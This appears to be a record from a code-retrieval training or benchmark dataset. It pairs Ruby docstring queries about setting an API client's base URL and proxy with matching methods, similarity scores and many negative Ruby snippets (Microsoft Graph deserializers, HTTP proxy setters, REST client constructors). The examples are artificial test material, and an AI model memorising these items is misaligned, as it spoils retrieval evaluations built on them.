"def get_field_deserializers()\n return super.merge({\n \"schedule\" => lambda {|n| @schedule = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SynchronizationSchedule.create_from_discriminator_value(pn) }) },\n \"schema\" => lambda {|n| @schema = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SynchronizationSchema.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SynchronizationStatus.create_from_discriminator_value(pn) }) },\n \"synchronizationJobSettings\" => lambda {|n| @synchronization_job_settings = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::KeyValuePair.create_from_discriminator_value(pn) }) },\n \"templateId\" => lambda {|n| @template_id = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"isAvailable\" => lambda {|n| @is_available = n.get_boolean_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"category\" => lambda {|n| @category = n.get_string_value() },\n \"firstSeenDateTime\" => lambda {|n| @first_seen_date_time = n.get_date_time_value() },\n \"host\" => lambda {|n| @host = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityHost.create_from_discriminator_value(pn) }) },\n \"lastSeenDateTime\" => lambda {|n| @last_seen_date_time = n.get_date_time_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end",
"def active_model_serializer\n self.class.active_model_serializer\n end",
"def active_model_serializer\n self.class.active_model_serializer\n end",
"def get_field_deserializers()\n return super.merge({\n \"appliesTo\" => lambda {|n| @applies_to = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::DirectoryObject.create_from_discriminator_value(pn) }) },\n \"isEnabled\" => lambda {|n| @is_enabled = n.get_boolean_value() },\n \"restrictions\" => lambda {|n| @restrictions = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::AppManagementConfiguration.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"connectors\" => lambda {|n| @connectors = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintConnector.create_from_discriminator_value(pn) }) },\n \"hasPhysicalDevice\" => lambda {|n| @has_physical_device = n.get_boolean_value() },\n \"isShared\" => lambda {|n| @is_shared = n.get_boolean_value() },\n \"lastSeenDateTime\" => lambda {|n| @last_seen_date_time = n.get_date_time_value() },\n \"registeredDateTime\" => lambda {|n| @registered_date_time = n.get_date_time_value() },\n \"shares\" => lambda {|n| @shares = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrinterShare.create_from_discriminator_value(pn) }) },\n \"taskTriggers\" => lambda {|n| @task_triggers = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintTaskTrigger.create_from_discriminator_value(pn) }) },\n })\n end",
"def serializer_class\n AccountSerializer\n end",
"def reset\n super\n end",
"def get_field_deserializers()\n return super.merge({\n \"deviceCount\" => lambda {|n| @device_count = n.get_number_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"managedDevices\" => lambda {|n| @managed_devices = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ManagedDevice.create_from_discriminator_value(pn) }) },\n \"platform\" => lambda {|n| @platform = n.get_enum_value(MicrosoftGraph::Models::DetectedAppPlatformType) },\n \"publisher\" => lambda {|n| @publisher = n.get_string_value() },\n \"sizeInByte\" => lambda {|n| @size_in_byte = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"devicesCount\" => lambda {|n| @devices_count = n.get_number_value() },\n \"lastReportedDateTime\" => lambda {|n| @last_reported_date_time = n.get_date_time_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::ComplianceStatus) },\n \"userDisplayName\" => lambda {|n| @user_display_name = n.get_string_value() },\n \"userPrincipalName\" => lambda {|n| @user_principal_name = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"committedContentVersion\" => lambda {|n| @committed_content_version = n.get_string_value() },\n \"contentVersions\" => lambda {|n| @content_versions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::MobileAppContent.create_from_discriminator_value(pn) }) },\n \"fileName\" => lambda {|n| @file_name = n.get_string_value() },\n \"size\" => lambda {|n| @size = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n })\n end",
"def freeze\n freeze!\n attributes.freeze\n super\n end"
] | [
"0.64952856",
"0.6472357",
"0.6362916",
"0.62180257",
"0.61275965",
"0.60903233",
"0.60216695",
"0.6013755",
"0.5981057",
"0.59014994",
"0.59014535",
"0.59014535",
"0.59014535",
"0.5900871",
"0.5884428",
"0.5879951",
"0.58396655",
"0.5812648",
"0.5811327",
"0.57906777",
"0.5773795",
"0.57549757",
"0.57346714",
"0.5708329",
"0.56993055",
"0.56993055",
"0.56801116",
"0.5664306",
"0.566022",
"0.5650495",
"0.5644876",
"0.5642239",
"0.5583563",
"0.5539385",
"0.5524413",
"0.55135924",
"0.55135924",
"0.54899126",
"0.54715014",
"0.54546744",
"0.5437596",
"0.5415532",
"0.5398218",
"0.53800166",
"0.53775674",
"0.53637403",
"0.53629446",
"0.536008",
"0.5354678",
"0.53529394",
"0.53515273",
"0.53469044",
"0.53448385",
"0.5336886",
"0.5325551",
"0.5322546",
"0.53119123",
"0.5308058",
"0.5302916",
"0.5277926",
"0.52677125",
"0.52571106",
"0.5256284",
"0.5253627",
"0.52505344",
"0.52439904",
"0.5242035",
"0.5238864",
"0.52337784",
"0.5231655",
"0.52254575",
"0.52237767",
"0.5221304",
"0.5208458",
"0.5207859",
"0.5203871",
"0.52036846",
"0.51946294",
"0.5194367",
"0.51914895",
"0.51907104",
"0.5186743",
"0.5177993",
"0.51758236",
"0.51642156",
"0.5162728",
"0.51607215",
"0.51605934",
"0.51528263",
"0.51504844",
"0.5150249",
"0.5150249",
"0.51483166",
"0.5147442",
"0.5146255",
"0.5145151",
"0.51423794",
"0.513992",
"0.5138079",
"0.5132953"
] | 0.71685165 | 0 |
This may be useful when using a local installation of the SmartyStreets APIs. base_url is a string that defaults to the URL for the API corresponding to the Client object being built. Returns self to accommodate method chaining. | def with_base_url(base_url)
@url_prefix = base_url
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize(base_url)\n @base_url = base_url\n end",
"def set_base_url(url)\r\n @http_client.base_url = url\r\n end",
"def base_url\n @client.instance_variable_get(:@base_url)\n end",
"def initialize(base_url)\n @base_url = base_url\n @custom_headers = {}\n @read_write_timeout = 8000\n @connection_timeout = 2000\n @use_ssl = false\n end",
"def initialize base_url, api_key\n\t\t\t\t\t@connection = Freshdesk::Api::Client::Request.new base_url, api_key\n\t\t\t\tend",
"def initialize(api_key, version = 'v1', base_url = 'http://api.digitalnz.org')\n @api_key = api_key\n @base_url = base_url\n @version = version\n \n if @base_url =~ /^(.*)\\/$/\n @base_url = $1\n end\n end",
"def initialize(base_url: BASE_URL, api_version: API_VERSION, api_key: API_KEY)\n @base_url = base_url\n @api_version = api_version\n @api_key = api_key\n end",
"def initialize\n self.api_root = BASE_URL\n end",
"def base_url\n BASE_URL.dup % [\"%s\", \"%s\", @api_key, \"%s\"] \n end",
"def base_url\n service.base_url\n end",
"def initialize\n @url = 'http://api.preachingcentral.com/'\n end",
"def from_base(*args)\n request request_uri, *args\n end",
"def initialize(base_url, timezone, ignore_ssl_certificate = false)\n @base_url = base_url\n @timezone = timezone\n @ignore_ssl_certificate = ignore_ssl_certificate\n end",
"def request\n self.http_response = http_client.get(url, request_options)\n self\n end",
"def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end",
"def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end",
"def initialize(server, api_version, api_key)\n self.class.base_uri \"http://#{server}/api/#{api_version}\"\n self.class.headers 'Accept' => 'application/json', \"X-CCApiKey\" => api_key\n end",
"def base_url\n URI::HTTPS.build(host: @server, port: @port, path: @api)\n end",
"def api_base_url; @opts[:api_base_url]; end",
"def set_base_url(url)\n base_url = url\n end",
"def initialize(access_token:, url: 'https://api.base-api.io')\n @users =\n Endpoints::Users.new(\n access_token: access_token,\n url: url\n )\n\n @files =\n Endpoints::Files.new(\n access_token: access_token,\n url: url\n )\n\n @images =\n Endpoints::Images.new(\n access_token: access_token,\n url: url\n )\n\n @sessions =\n Endpoints::Sessions.new(\n access_token: access_token,\n url: url\n )\n\n @emails =\n Endpoints::Emails.new(\n access_token: access_token,\n url: url\n )\n\n @passwords =\n Endpoints::Passwords.new(\n access_token: access_token,\n url: url\n )\n\n @mailing_lists =\n Endpoints::MailingLists.new(\n access_token: access_token,\n url: url\n )\n\n @forms =\n Endpoints::Forms.new(\n access_token: access_token,\n url: url\n )\n end",
"def initialize(hostname, api_key, request_format: :json, default_timeout: 5,\n raise_exceptions: false, verify_ssl: false, fleet: false, debug_output: nil,\n base_uri: 'admin/scaffolds', auth_method: :headers)\n\n self.api_key = api_key\n\n self.hostname = hostname\n\n self.set_base_uri(base_uri)\n\n self.fleet = fleet\n\n self.default_timeout = default_timeout\n\n self.raise_exceptions = raise_exceptions\n\n self.verify_ssl = verify_ssl\n\n self.debug_output = debug_output\n\n self.request_format = request_format.to_sym\n\n self.auth_method = auth_method\n\n end",
"def initialize(api_key)\n @api_key = api_key\n @url = URI.parse \"http://clients.multimap.com/API/geocode/1.2/#{@api_key}\"\n end",
"def initialize\n @format = 'json'\n @scheme = 'https'\n @host = 'api.simplyrets.com'\n @base_path = '/'\n @user_agent = \"ruby-#{SimplyRets::VERSION}\"\n @inject_format = false\n @force_ending_format = false\n @camelize_params = true\n end",
"def base_url\n \"https://api.beezup.com/\"\n end",
"def base_url\n self.class.base_url\n end",
"def url\n @url || API_ENDPOINT\n end",
"def base_url\n self.mode == 'production' ? Ebay::Search::Api::PRODUCTION_URL : Ebay::Search::Api::SANDBOX_URL\n end",
"def initialize(api_key, source, config = {})\n raise ArgumentError.new('Your need to specify your api key') unless api_key\n raise ArgumentError.new('You need to specify a source website') unless source\n\n\n defaults = {\n :api_version => API_VERSION\n }\n\n @config = defaults.merge(config).freeze\n @api_key = api_key\n @source = source\n @litmosURL = \"https://api.litmos.com/v#{@config[:api_version]}.svc/\"\n @devURL = \"http://apidev.litmos.com/v#{@config[:api_version]}.svc/\"\n end",
"def initialize(**options)\n @api_client = PayPoint::Blue::API.new(**options)\n super\n end",
"def initialize(client_secret = nil, client_id = nil, base_url = 'api-qa.aspose.cloud', api_version = 'v3.0', debug = false)\n @api_client = ApiClient.new(client_secret, client_id, base_url, api_version, debug)\n end",
"def initialize(base_service_url, default_format: FHIR::Formats::ResourceFormat::RESOURCE_JSON, proxy: nil)\n @base_service_url = base_service_url\n FHIR.logger.info \"Initializing client with #{@base_service_url}\"\n @use_format_param = false\n @use_accept_header = true\n @use_accept_charset = true\n @default_format = default_format\n @fhir_version = :r4\n @use_return_preference = false\n @return_preference = FHIR::Formats::ReturnPreferences::REPRESENTATION\n @exception_class = ClientException\n @proxy = proxy\n\n set_no_auth\n end",
"def api_url\n @api_url ||= URI.parse(\"#{super}?#{URI.encode_www_form(query_params)}\")\n end",
"def initialize(**parent_params)\n super\n\n @client = Faraday.new do |faraday|\n faraday.use FaradayMiddleware::FollowRedirects\n faraday.adapter Faraday.default_adapter\n end\n @url_template = self.class.construct_template\n end",
"def base_url\n return url\n end",
"def api_url\n @api_url ||= URI.parse(::File.join(base_url, endpoint))\n end",
"def base_url\n \"#{Mailgun.protocol}://api:#{Mailgun.api_key}@#{Mailgun.mailgun_host}/#{Mailgun.api_version}\"\n end",
"def initialize\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n [email protected](\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = ::Google::Cloud::Retail::V2::ModelService::Rest::Operations.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @location_client = Google::Cloud::Location::Locations::Rest::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @model_service_stub = ::Google::Cloud::Retail::V2::ModelService::Rest::ServiceStub.new endpoint: @config.endpoint, credentials: credentials\n end",
"def initialize(api_url)\n\t\turi = URI(api_url)\n\t\tcall_api(uri)\n\tend",
"def initialize(api_key, resource_url)\n @rest_client = RestClient.new(resource_url, api_key)\n end",
"def build_rest_client(url)\n RestClient::Resource.new(URI.encode(url), :verify_ssl => OpenSSL::SSL::VERIFY_NONE)\n end",
"def base_uri\n\t\t\t\"#{server}/api/v4\"\n\t\tend",
"def set_base_url(num = 0)\n return nil if num >= @api_servers.size\n @base_url = @api_servers[num]\n end",
"def initialize(options = {})\n options = { :access_token => options } if options.is_a? String\n options = self.class.options.merge(options)\n\n # Parse `api_url` option\n if url = options.delete(:api_url)\n uri = URI.parse(url)\n options[:api_scheme] = uri.scheme\n options[:api_host] = uri.host + (uri.port != 80 && uri.port != 443 ? \":#{uri.port}\" : '')\n end\n\n @access_token = options[:access_token] if options[:access_token]\n @api_scheme = options[:api_scheme]\n @api_host = options[:api_host]\n @api_version = options[:api_version]\n @api_prefix = options[:api_prefix]\n @client_token = options[:client_token] if options[:client_token]\n @transport = options[:transport]\n @result_format = options[:result_format]\n\n # Include transport\n transport_module = Lapse::Transport::TRANSPORT_MAP[@transport]\n raise 'Invalid transport' unless transport_module\n self.extend transport_module\n end",
"def api_url\n base_url.concat api_query_parameter\n end",
"def api_url\n base_url.concat api_query_parameter\n end",
"def initialize(url, options = {})\n # sets the URL to be shortened\n self.url = url\n # allows an instance-level override for the api key\n @api_key = options[:api_key]\n # allows an instance-level override for the timeout\n @timeout = options[:timeout]\n # allows an instance-level override for the proxy\n @proxy = URI(options[:proxy]) if options[:proxy]\n end",
"def api_url(url = '')\n configuration.api_base + url\n end",
"def url\n return @url if @url\n\n case environment\n when :production\n PRODUCTION_API_ENDPOINT\n when :sandbox\n SANDBOX_API_ENDPOINT\n end\n end",
"def get_base_uri(server = Server::DEFAULT)\r\n parameters = {\r\n 'base_url' => { 'value' => base_url, 'encode' => false }\r\n }\r\n APIHelper.append_url_with_template_parameters(\r\n ENVIRONMENTS[environment][server], parameters\r\n )\r\n end",
"def initialize(path_parameters, request_adapter)\n super(path_parameters, request_adapter, \"{+baseurl}/places\")\n end",
"def base_url\n 'http://ow.ly/api/1.1/url/shorten'\n end",
"def base_uri\n @base_uri\n end",
"def initialize(url=\"\")\n @serverURL = url\n end",
"def url\n api_url\n end",
"def base_url\n @is_sub_env_specific ? \"#{GlobalConstant::CompanyApi.root_url}#{GlobalConstant::Environment.url_prefix}/api/\"\n : \"#{GlobalConstant::CompanyApi.root_url}api/\"\n end",
"def initialize(client)\n super(client, 'core')\n end",
"def set_base_uri(uri)\n @base_api_uri = uri\n end",
"def baseurl; end",
"def request(base_url, params)\n RestClient.get base_url, { params: params }\n end",
"def api_client\n self.class.api_client\n end",
"def api_url\n api_key? ? base_url.concat(api_query_parameter) : base_url\n end",
"def build_shared(base_url, &block)\n self.shared = self.build(base_url, &block)\n end",
"def initialize(hash={})\n super(\"#{hash[:base_url] || \"http://127.0.0.1:5984\" }/#{hash[:database] || \"huboard\"}\") do |builder|\n yield builder if block_given?\n builder.use FaradayMiddleware::EncodeJson\n builder.use FaradayMiddleware::Mashify\n builder.use FaradayMiddleware::ParseJson\n builder.request :retry, max: 4,\n exceptions: [\n Errno::ETIMEDOUT,\n 'Timeout::Error',\n Faraday::TimeoutError,\n Faraday::ConnectionFailed,\n ]\n builder.use Timeout\n # builder.use Ghee::Middleware::UriEscape\n builder.use Faraday::HttpCache, store: Rails.cache, logger: Logger.new(STDOUT), serializer: Marshal\n builder.adapter Faraday.default_adapter\n\n builder.request :url_encoded\n end\n end",
"def base_url\n \"#{@magento_url}/api/v2_soap?wsdl=1\"\n end",
"def base_uri\n if mode == 'sandbox'\n @base_uri = 'https://sandbox.fundamerica.com/api/'\n else\n @base_uri = 'https://apps.fundamerica.com/api/'\n end\n end",
"def initialize base_url, opts={}\n @base_url = base_url\n @hydra = Typhoeus::Hydra.new(opts)\n end",
"def initialize\n config.base_uri = Config::BASE_URI\n config.user_agent = Config::USER_AGENT\n config.extend(Config)\n end",
"def construct_url\n @@API_URL + city + @@API_KEY\n end",
"def base\n\t\t\t\tif @api\n\t\t\t\t\treturn @api.base_url\n\t\t\t\telse\n\t\t\t\t\treturn 'http://masterserver.hon.s2games.com/'\n\t\t\t\tend\n\t\t\tend",
"def initialize(url)\n @url = url\n freeze\n end",
"def initialize(base=nil)\r\n get(base)\r\n end",
"def initialize base_url, endpoint, params={}, &blk\n @url = base_url.dup\n @url.add_to_path endpoint.to_s\n @url.params.merge!(params)\n @_endpoint = Endpoint.new(@url)\n \n instance_eval &blk if block_given?\n end",
"def initialize(url = nil, options = {})\n if url.is_a?(Hash)\n options = url\n url = options[:url]\n end\n @headers = Headers.new\n @params = {}\n @options = options[:request] || {}\n @ssl = options[:ssl] || {}\n @parallel_manager = options[:parallel]\n self.url_prefix = url if url\n proxy(options[:proxy])\n merge_params @params, options[:params] if options[:params]\n merge_headers @headers, options[:headers] if options[:headers]\n\n if block_given?\n @builder = Builder.create { |b| yield b }\n else\n @builder = options[:builder] || Builder.new\n end\n end",
"def initialize(url = 'https://api.tictail.com')\n @url = url\n end",
"def initialize(url, salt, version='0.7', debug=false)\n @supported_versions = ['0.7', '0.8']\n @url = url\n @salt = salt\n @debug = debug\n @timeout = 10 # default timeout for api requests\n @request_headers = {} # http headers sent in all requests\n\n @version = version || get_api_version\n unless @supported_versions.include?(@version)\n raise BigBlueButtonException.new(\"BigBlueButton error: Invalid API version #{version}. Supported versions: #{@supported_versions.join(', ')}\")\n end\n\n puts \"BigBlueButtonAPI: Using version #{@version}\" if @debug\n end",
"def initialize(rapid_api_endpoint, rapid_access_key, rapyd_secret_key)\n if rapid_api_endpoint.present? && rapid_access_key.present? && rapyd_secret_key.present?\n self.base_url = rapid_api_endpoint\n self.access_key = rapid_access_key\n self.secret_key = rapyd_secret_key\n self.rest_client = RestClientService.new(base_url)\n else\n raise StandardError, 'Missing paramteres'\n end\n end",
"def from(url)\n @url = url\n self\n end",
"def initialize(options)\n @options = options\n @base_url = URI(ENVIRONMENTS.fetch(options[:environment]))\n end",
"def initialize(base_uri)\n @base_uri = base_uri\n clear_stored_results\n end",
"def initialize(config)\n @config = config\n @api_client = ApiClient.new(config)\n @access_token = nil\n end",
"def initialize(config)\n @config = config\n @api_client = ApiClient.new(config)\n @access_token = nil\n end",
"def initialize(base_url,model_data)\n @base_url = base_url\n @model_data = model_data\n\n\n unless @requester_id = model_data[REQUESTER_ID]\n raise ArgumentError, \"Cannot create a #{self.class} without a requester_id\"\n end\n\n @authz_client = AuthzClient.new(resource, @requester_id, base_url)\n @id = model_data[OBJECT_ID]\n end",
"def base_uri\n \"#{api}/provider\"\n end",
"def base_uri\t\t\t\n\t\tURI.parse( \"http://\" + @factory.site_name + \".\" + @factory.api_host_base + @path )\n\tend",
"def client\n @client ||= client_for_host(brine_root_url || 'http://localhost:8080',\n logging: ENV['BRINE_LOG_HTTP'])\n end",
"def initialize\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n [email protected](\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = ::Google::Cloud::Optimization::V1::FleetRouting::Rest::Operations.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @fleet_routing_stub = ::Google::Cloud::Optimization::V1::FleetRouting::Rest::ServiceStub.new endpoint: @config.endpoint, credentials: credentials\n end",
"def base_uri\n suite_configuration.core_uri\n end",
"def start\n api = @settings[:api] || {}\n bind = api[:bind] || \"0.0.0.0\"\n port = api[:port] || 4567\n start_http_server(bind, port)\n super\n end",
"def _base_url\n r = @_request\n scheme = r.scheme\n port = r.port\n \"#{scheme}://#{r.host}#{\":#{port}\" unless DEFAULT_PORTS[scheme] == port}\"\n end",
"def base_url\n @base_url||=@options['base_url']\n end",
"def base\n\t\t\t\tself.class.new(@path, nil, nil, nil)\n\t\t\tend",
"def api\n if @api.nil?\n @api = BigBlueButton::BigBlueButtonApi.new(self.url, self.salt,\n self.version.to_s, false)\n end\n @api\n end",
"def initialize(client_api_key, user_api_key, host)\n endpoint_uri = \"https://#{host}/api/v1\"\n self.class.base_uri(endpoint_uri)\n\n auth_string = \"Rev #{client_api_key}:#{user_api_key}\"\n @default_headers = {\n 'Authorization' => auth_string,\n 'User-Agent' => USER_AGENT # to track usage of SDK\n }\n end",
"def api_url\n @@API_URL\n end",
"def base_url\n \"https://api.yelp.com/v3/\"\n end",
"def initialize(client, params = {}, api_ver = nil)\n super\n end",
"def initialize(client, params = {}, api_ver = nil)\n super\n end",
"def initialize(client_id, client_secret, options={})\n @base_uri = 'https://api.foursquare.com'\n @defaults = {:client_id => client_id, :client_secret => client_secret, :v => '20110727'}.merge(options)\n self\n end",
"def initialize(url, config)\n @url = url\n @config = config\n @base_uri = config.fetch(:base_uri)\n\n authenticate!\n toggle_debug! if @config[:debug]\n\n self.class.headers(@config[:headers]) if @config.include?(:headers)\n end"
] | [
"0.6570847",
"0.6524658",
"0.6348827",
"0.6201443",
"0.6100644",
"0.6065179",
"0.599167",
"0.5977524",
"0.5953937",
"0.5859838",
"0.5848456",
"0.579792",
"0.57902366",
"0.5773273",
"0.5764631",
"0.5764631",
"0.57203054",
"0.5703709",
"0.5688545",
"0.5673339",
"0.5672998",
"0.5622059",
"0.56214404",
"0.5610603",
"0.55915654",
"0.5560238",
"0.55580175",
"0.5545027",
"0.55344146",
"0.5532666",
"0.55271226",
"0.55168444",
"0.54955095",
"0.54918694",
"0.54891497",
"0.54816735",
"0.5471051",
"0.5470341",
"0.54508954",
"0.54495025",
"0.5447323",
"0.54449975",
"0.54298",
"0.5429209",
"0.54217213",
"0.54217213",
"0.5419105",
"0.5401452",
"0.53975827",
"0.5392668",
"0.5384899",
"0.53733623",
"0.537293",
"0.53702307",
"0.5369873",
"0.5369498",
"0.53667086",
"0.5363666",
"0.5362249",
"0.5347467",
"0.534449",
"0.5343484",
"0.5338162",
"0.53207517",
"0.53200567",
"0.5316902",
"0.53114414",
"0.5310903",
"0.53101397",
"0.5308306",
"0.5305547",
"0.53047585",
"0.5303873",
"0.5303182",
"0.53019416",
"0.5298852",
"0.52960026",
"0.5286529",
"0.5284407",
"0.52817684",
"0.5280199",
"0.5280199",
"0.527873",
"0.52733755",
"0.52733725",
"0.5260103",
"0.5257002",
"0.5254953",
"0.5238576",
"0.5228163",
"0.5227218",
"0.52197206",
"0.52170783",
"0.5212709",
"0.5212207",
"0.5211201",
"0.5209584",
"0.5209584",
"0.52069",
"0.52039057"
] | 0.68361557 | 0 |
Assigns a proxy through which all requests will be sent. proxy is a Proxy object from this module. Returns self to accommodate method chaining. | def with_proxy(host, port, username, password)
@proxy = SmartyStreets::Proxy.new(host, port, username, password)
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def proxy\n @proxy ||= Proxy.new self\n end",
"def set_proxy\n @proxy = Proxy.find(params[:id])\n end",
"def set_proxy(host, port)\n #self.agent.set_proxy(host, port)\n end",
"def proxy=(value)\n @proxy = value\n end",
"def proxy\n @proxy\n end",
"def proxy=(value)\n\t\t\t@proxy = value\n\t\tend",
"def set_proxy(address,port,user=nil,password=nil)\n @proxy_server={:address=>address,:port=>port,\n :user=>user, :password=>password}\n return self\n end",
"def proxy\n self.class.proxy.new(session)\n end",
"def proxy(prox)\n RestClient.proxy = prox\n end",
"def set_proxy address, port, user = nil, password = nil\n @proxy_addr = address\n @proxy_port = port\n @proxy_user = user\n @proxy_pass = password\n\n @agent.set_proxy address, port, user, password\n end",
"def setHttpProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpProxy\", \"html-to-pdf\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_http_proxy\"), 470);\n end\n \n @fields['http_proxy'] = proxy\n self\n end",
"def setHttpProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpProxy\", \"pdf-to-html\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_http_proxy\"), 470);\n end\n \n @fields['http_proxy'] = proxy\n self\n end",
"def proxy\n manager_instance(ProxyManager)\n end",
"def proxy=(val)\n\t\t\tself.options[:proxy] = val\n\t\tend",
"def proxy(arg = nil)\n return @proxy if arg.nil?\n warn 'Warning: use of proxy(new_value) to set connection proxy have been DEPRECATED and will be removed in Faraday 1.0'\n @manual_proxy = true\n @proxy = ProxyOptions.from(arg)\n end",
"def proxy\n return @proxy\n end",
"def set_proxy proxy, port=nil, user=nil, pwd=nil\n\t\t\n\t\t\n\t\tif !proxy\t\n\t\t\t@proxy_host=@proxy_port=@proxy_user=@proxy_pwd=nil \n\t\t\treturn\n\t\tend\n\n\t\tif proxy.class == String \n\t\t\tif !port && !user && !pwd\n\t\t\t\tproxy = URI.parse(proxy)\n\t\t\telse \n\t\t\t\t@proxy_host= host\n\t\t\t\t@proxy_port= port\n\t\t\t\t@proxy_user= user\n\t\t\t\t@proxy_pwd = pwd\n\t\t\tend\n\t\tend\n\t\t\n\t\tif proxy.class == URI::HTTP \n\t\t\t@proxy_host= proxy.host\n\t\t\t@proxy_port= proxy.port\n\t\t\t@proxy_user= proxy.user\n\t\t\t@proxy_pwd = proxy.password\n\t\tend\n\tend",
"def setHttpProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpProxy\", \"pdf-to-text\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_http_proxy\"), 470);\n end\n \n @fields['http_proxy'] = proxy\n self\n end",
"def setHttpProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpProxy\", \"html-to-image\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_http_proxy\"), 470);\n end\n \n @fields['http_proxy'] = proxy\n self\n end",
"def setHttpProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpProxy\", \"image-to-pdf\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_http_proxy\"), 470);\n end\n \n @fields['http_proxy'] = proxy\n self\n end",
"def proxy\n @proxy ||= Shoegaze::Proxy.new(@mock_class_double, @mock_instance_double)\n end",
"def proxy=(new_proxy)\n @proxy = case new_proxy\n when Spidr::Proxy\n new_proxy\n when Hash\n Spidr::Proxy.new(**new_proxy)\n when String, URI::HTTP\n proxy_uri = URI(new_proxy)\n\n Spidr::Proxy.new(\n host: proxy_uri.host,\n port: proxy_uri.port,\n user: proxy_uri.user,\n password: proxy_uri.password\n )\n when nil\n Spidr::Proxy.new\n else\n raise(TypeError,\"#{self.class}#{__method__} only accepts Spidr::Proxy, URI::HTTP, Hash, or nil\")\n end\n end",
"def set_akismet_proxy(proxyHost, proxyPort) \n @proxyPort = proxyPort\n @proxyHost = proxyHost\n end",
"def proxy; self end",
"def configure_proxy(options, env)\n proxy = request_options(env)[:proxy]\n return unless proxy\n\n options[:proxy] = {\n host: proxy[:uri].host,\n port: proxy[:uri].port,\n authorization: [proxy[:user], proxy[:password]]\n }\n end",
"def set_proxy(proxy='')\r\n RestClient.proxy = proxy.empty? ? ENV['http_proxy'] : proxy\r\n end",
